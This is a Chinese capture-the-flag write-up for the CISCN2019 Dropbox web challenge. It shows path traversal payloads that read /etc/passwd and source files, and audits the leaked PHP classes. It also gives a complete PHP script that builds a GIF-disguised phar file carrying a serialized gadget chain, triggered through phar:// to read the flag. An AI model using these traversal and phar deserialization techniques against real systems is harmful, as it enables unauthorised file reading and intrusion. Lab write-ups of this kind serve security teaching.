[CISCN2019 华北赛区 Day1 Web1]Dropbox 1

白初& 2024-09-06 16:03:01 阅读 72

目录

题目分析功能测试代码读取index.phpdownload.phpdelete.phpclass.php

关键代码审计user类FileList类File类思路

解题步骤php脚本解题

题目分析

功能测试

注册登录后来到上传文件界面,通过改后缀,改文件头,改content-type,上传了一句话木马,但是后缀会被改为jpg,无法利用

对于上传的文件,有下载和删除的功能

在这里插入图片描述

抓包看看下载功能,可以读取/etc/passwd,没能读到flag

在这里插入图片描述

可以读取到页面的源代码

<code>filename=../../index.php

代码读取

index.php

<?php

include "class.php";

$a = new FileList($_SESSION['sandbox']);

$a->Name();

$a->Size();

?>

得知存在class.php

download.php

<?php

session_start();

if (!isset($_SESSION['login'])) { -- -->

header("Location: login.php");

die();

}

if (!isset($_POST['filename'])) {

die();

}

include "class.php";

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);

$file = new File();

$filename = (string) $_POST['filename'];

if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {

Header("Content-type: application/octet-stream");

Header("Content-Disposition: attachment; filename=" . basename($filename));

echo $file->close();

} else {

echo "File not exist";code>

}

?>

delete.php

<?php

session_start();

if (!isset($_SESSION['login'])) { -- -->

header("Location: login.php");

die();

}

if (!isset($_POST['filename'])) {

die();

}

include "class.php";

chdir($_SESSION['sandbox']);

$file = new File();

$filename = (string) $_POST['filename'];

if (strlen($filename) < 40 && $file->open($filename)) {

$file->detele();

Header("Content-type: application/json");

$response = array("success" => true, "error" => "");

echo json_encode($response);

} else {

Header("Content-type: application/json");

$response = array("success" => false, "error" => "File not exist");

echo json_encode($response);

}

?>

class.php

<?php

error_reporting(0);

$dbaddr = "127.0.0.1";

$dbuser = "root";

$dbpass = "root";

$dbname = "dropbox";

$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {

public $db;

public function __construct() {

global $db;

$this->db = $db;

}

public function user_exist($username) {

$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");

$stmt->bind_param("s", $username);

$stmt->execute();

$stmt->store_result();

$count = $stmt->num_rows;

if ($count === 0) {

return false;

}

return true;

}

public function add_user($username, $password) {

if ($this->user_exist($username)) {

return false;

}

$password = sha1($password . "SiAchGHmFx");

$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");

$stmt->bind_param("ss", $username, $password);

$stmt->execute();

return true;

}

public function verify_user($username, $password) {

if (!$this->user_exist($username)) {

return false;

}

$password = sha1($password . "SiAchGHmFx");

$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");

$stmt->bind_param("s", $username);

$stmt->execute();

$stmt->bind_result($expect);

$stmt->fetch();

if (isset($expect) && $expect === $password) {

return true;

}

return false;

}

public function __destruct() {

$this->db->close();

}

}

class FileList {

private $files;

private $results;

private $funcs;

public function __construct($path) {

$this->files = array();

$this->results = array();

$this->funcs = array();

$filenames = scandir($path);

$key = array_search(".", $filenames);

unset($filenames[$key]);

$key = array_search("..", $filenames);

unset($filenames[$key]);

foreach ($filenames as $filename) {

$file = new File();

$file->open($path . $filename);

array_push($this->files, $file);

$this->results[$file->name()] = array();

}

}

public function __call($func, $args) {

array_push($this->funcs, $func);

foreach ($this->files as $file) {

$this->results[$file->name()][$func] = $file->$func();

}

}

public function __destruct() {

$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';code>

$table .= '<thead><tr>';

foreach ($this->funcs as $func) { -- -->

$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';code>

}

$table .= '<th scope="col" class="text-center">Opt</th>';code>

$table .= '</thead><tbody>';

foreach ($this->results as $filename => $result) { -- -->

$table .= '<tr>';

foreach ($result as $func => $value) {

$table .= '<td class="text-center">' . htmlentities($value) . '</td>';code>

}

$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';code>

$table .= '</tr>';

}

echo $table;

}

}

class File { -- -->

public $filename;

public function open($filename) {

$this->filename = $filename;

if (file_exists($filename) && !is_dir($filename)) {

return true;

} else {

return false;

}

}

public function name() {

return basename($this->filename);

}

public function size() {

$size = filesize($this->filename);

$units = array(' B', ' KB', ' MB', ' GB', ' TB');

for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;

return round($size, 2).$units[$i];

}

public function detele() {

unlink($this->filename);

}

public function close() {

return file_get_contents($this->filename);

}

}

?>

关键代码审计

主要利用class.php来得到flag

user类

public function __destruct() {

$this->db->close();

}

可以通过这个析构函数调用其他类

FileList类

__call() 是一个特殊的魔术方法(magic method),用于在对象中调用一个不存在或不可访问的方法时自动调用。它允许类在运行时捕获对未定义方法的调用,从而实现动态方法调用的功能

File类

public function close() {

return file_get_contents($this->filename);

}

通过这个函数读取文件

读到的文件在析构的时候可以显示出来

在这里插入图片描述

思路

user类–>$this->db->close()–>FileList类–>__call()–>File类–>close()

不存在反序列化,那如何实现调用呢?

链接:『PHP』phar文件详解_phar文件格式_调用phar类方法生成phar文件_php phar-CSDN博客

可以使用phar伪协议,meta-data保存信息,它是序列化后的信息,phar://伪协议可以让一些函数自动反序列化这个字段信息

不管文件后缀名是什么,都会按照.phar来解析

通过脚本,生成.phar文件,上传之后伪协议读取

解题步骤

php脚本

<code><?php

class User { -- -->

public $db;

}

class FileList {

private $files = array();

public function __construct() {

$file = new File();

array_push($this->files,$file);

}

}

class File {

public $filename = '/flag.txt';

}

$phar=new Phar('phar.phar');

$phar->startBuffering();

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

$phar->addFromString('test.txt','test'); //添加要压缩的文件

$obj= new User();

$obj->db=new FileList();

$phar->setMetadata($obj); //将自定义的metadata存入manifest

$phar->stopBuffering();

?>

在同级目录下生成,phar文件

注意,将配置文件php.ini里边的phar.readonly设置为Off,去掉前面的分号

解题

将生成的文件后缀改为jpg后上传

在这里插入图片描述

点击删除并抓包,修改文件名(下载页面对flag字段有过滤)

得到flag

<code>filename=phar://phar.jpg

在这里插入图片描述



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。